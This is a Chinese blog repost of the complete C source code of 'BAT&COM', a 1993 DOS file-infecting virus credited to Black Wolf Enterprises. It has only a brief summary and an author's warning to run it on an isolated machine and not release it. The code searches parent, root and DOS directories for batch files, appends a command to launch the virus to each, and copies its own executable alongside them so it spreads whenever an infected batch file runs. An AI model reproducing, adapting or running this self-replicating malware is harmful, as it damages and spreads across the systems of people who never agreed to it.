C++程序（2），最好在虚拟机上运行

最新推荐文章于 2024-09-28 07:45:37 发布

KarlDoenitz

最新推荐文章于 2024-09-28 07:45:37 发布

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分类专栏： C++程序文章标签：虚拟机 c++ path buffer file dos

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本文探讨了一种特殊的高级语言病毒，它通过查找批处理文件并在其中插入自复制指令来传播。该病毒不局限于当前目录，因此在使用时需确保隔离机器并清理感染。病毒由BlackWolfEnterprises于1993年发布，提醒用户切勿释放。

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The BAT&COM Virus in C 
　　代码: 
　　- - - -----------------Start Code------------------------- - - - 
　　/* This file is a high-level language virus of a different sort. 
　　It will search out batch files and, when found, place a copy 
　　of itself in the directory with the batch file while adding 
　　instructions in the BAT to execute this new file. In this way, 
　　it will spread each time an "infected" batch is run. 
　　Disinfection is done simply by deleting all of the BAT&COM.COM 
　　files and removing the commands from batch files that ruin 
　　them. This one is NOT confined to the current directory, 
　　so make sure it is on an isolated machine and be sure to 
　　clean up any infections. PLEASE DO NOT RELEASE! 
　　BAT&COM virus is (C) 1993 Black Wolf Enterprises. 
　　*/ 
　　#include  
　　#include  
　　#include  
　　#include  
　　struct ffblk ffblk; 
　　main() 
　　{ 
　　char old_dir[MAXPATH]; 
　　Get_Path(old_dir); /* Save the old directory */ 
　　Pick_A_Dir(); /* Find a new directory to */ 
　　Infect_Directory(); /* infect and infect it. */ 
　　chdir(old_dir); /* Return to old directory */ 
　　return 0; 
　　} 
　　Pick_A_Dir() 
　　{ 
　　int done; 
　　chdir(".."); /* First, Go out a DIR. */ 
　　done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */ 
　　/* root and DOS */ 
　　if (done) 
　　{ 
　　chdir("\\"); 
　　done=findfirst("*.BAT",&ffblk,0); 
　　if (done) chdir("\\DOS\\"); 
　　} 
　　return 0; 
　　} 
　　Infect_Directory() 
　　{ 
　　int done; 
　　done = findfirst("*.BAT",&ffblk,0); 
　　while (!done) /* Find all .BAT files */ 
　　{ /* and add code to run */ 
　　Do_Batch(); /* BAT&COM if not */ 
　　done = findnext(&ffblk); /* already there */ 
　　} 
　　if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */ 
　　{Copy_Virus();} /* not exist, then */ 
　　return 0; /* copy it into dir.*/ 
　　} 
　　Do_Batch() 
　　{ 
　　FILE *batch; 
　　char Infection_Buffer[12]; 
　　char vpath[MAXPATH]; 
　　Get_Path(vpath); /* Get path for adding path */ 
　　/* specifier in commands */ 
　　if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */ 
　　batch=fopen(ffblk.ff_name, "rt+"); 
　　fseek(batch, -11, SEEK_END); 
　　fread(Infection_Buffer,11,1,batch); 
　　Infection_Buffer[11]=0; /* Terminate String */ 
　　if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */ 
　　{ /* Batch is */ 
　　fseek(batch, 0, SEEK_END); /* infected.*/ 
　　fprintf(batch,"\n%s\\BAT&COM.COM",vpath); 
　　} /*^- Add command */ 
　　/* to batch */ 
　　fclose(batch); 
　　return 0; 
　　} 
　　Copy_Virus() 
　　{ 
　　FILE *old_virus, *new_virus; 
　　int write_length; 
　　char copy_buffer[1024]; /* Copy the virus to */ 
　　/* new directory */ 
　　old_virus=fopen(_argv[0],"rb"); 
　　new_virus=fopen("BAT&COM.COM","wb"); 
　　write_length=1024; 
　　while (write_length==1024) 
　　{ 
　　write_length=fread(copy_buffer,1,1024,old_virus); 
　　fwrite(copy_buffer,write_length,1,new_virus); 
　　} 
　　fclose(old_virus); 
　　fclose(new_virus); 
　　return 0; 
　　} 
　　Get_Path(char *path) 
　　{ 
　　strcpy(path, "A:\\"); 
　　path[0] ='A' + getdisk(); /* Returns current path */ 
　　getcurdir(0, path+3); 
　　return 0; 
　　} 
　　- - - -----------------End of Code------------------------ - - -